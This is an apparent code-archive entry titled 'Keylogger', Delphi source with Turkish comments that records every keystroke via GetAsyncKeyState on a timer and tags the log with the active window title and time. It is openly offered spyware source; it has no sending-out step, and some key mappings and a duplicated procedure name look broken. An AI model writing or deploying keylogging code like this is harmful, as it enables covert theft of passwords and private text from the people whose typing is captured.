Mega Code Archive
Keylogger
Current_App , ss Global stringler
// Bu basılan tuşları almak için...
procedure TForm1.Timer1Timer(Sender: TObject);
var i:integer;
begin
for i:=8 To 255 do
begin
if GetAsyncKeyState(i)=-32767 then
case i of
8:ss:=ss+'[UNDO]';9:ss:=ss+'[TAB]';
13:ss:=ss+#13#10;27:ss:=ss+'[ESC]';
32:ss:=ss+' ';
48:if GetKeyState(VK_SHIFT)<0 then ss:=ss+')'
else ss:=ss+'0';
//...
57:if GetKeyState(VK_SHIFT)<0 then ss:=ss+'('
else ss:=ss+'9';
65..90: //a-z,A-Z
if Odd(GetKeyState(VK_CAPITAL)) then
if GetKeyState(VK_SHIFT)<0 then
ss:=ss+LowerCase(Chr(i))
else
ss:=ss+UpperCase(Chr(i))
else
if GetKeyState(VK_SHIFT)<0 then
ss:=ss+UpperCase(Chr(i))
else
ss:=ss+LowerCase(Chr(i));
//NUMPAD
97:ss:=ss+'1';
//...
105:ss:=ss+'9';
106:ss:=ss+'*';107:ss:=ss+'&';109:ss:=ss+'-';
110:ss:=ss+'.';111:ss:=ss+'/';
112..123: //F1-F12
ss:=ss+'[F'+IntToStr(i - 111)+']';
186:if GetKeyState(VK_SHIFT)<0 then ss:=ss+':'
else ss:=ss+';';
187:if GetKeyState(VK_SHIFT)<0 then ss:=ss+'+'
else ss:=ss+'=';
188:if GetKeyState(VK_SHIFT)<0 then ss:=ss+'<'
else ss:=ss+',';
189:if GetKeyState(VK_SHIFT)<0 then ss:=ss+'_'
else ss:=ss+'-';
190:if GetKeyState(VK_SHIFT)<0 then ss:=ss+'>'
else ss:=ss+'.';
191:if GetKeyState(VK_SHIFT)<0 then ss:=ss+'?'
else ss:=ss+'/';
192:if GetKeyState(VK_SHIFT)<0 then ss:=ss+'~'
else ss:=ss+'`';
219:if GetKeyState(VK_SHIFT)<0 then ss:=ss+'{'
else ss:=ss+'[';
220:if GetKeyState(VK_SHIFT)<0 then ss:=ss+'|'
else ss:=ss+'';
221:if GetKeyState(VK_SHIFT)<0 then ss:=ss+'}'
else ss:=ss+']';
222:if GetKeyState(VK_SHIFT)<0 then ss:=ss+'"'
else ss:=ss+'''';
end;
end;
end;
// Buda aktif pencere adını almak için
procedure TForm1.Timer1Timer(Sender: TObject);
var handler:THandle;
caption:array[0..80] of Char;
begin
handler:=GetForegroundWindow;
GetWindowText(handler,caption,80);
if (caption<>Current_App)and(caption<>'') then
begin
Current_App:=caption;
ss:=ss+'['+caption+']-['+TimeToStr(Now)+']'+#13#10;
end;
end;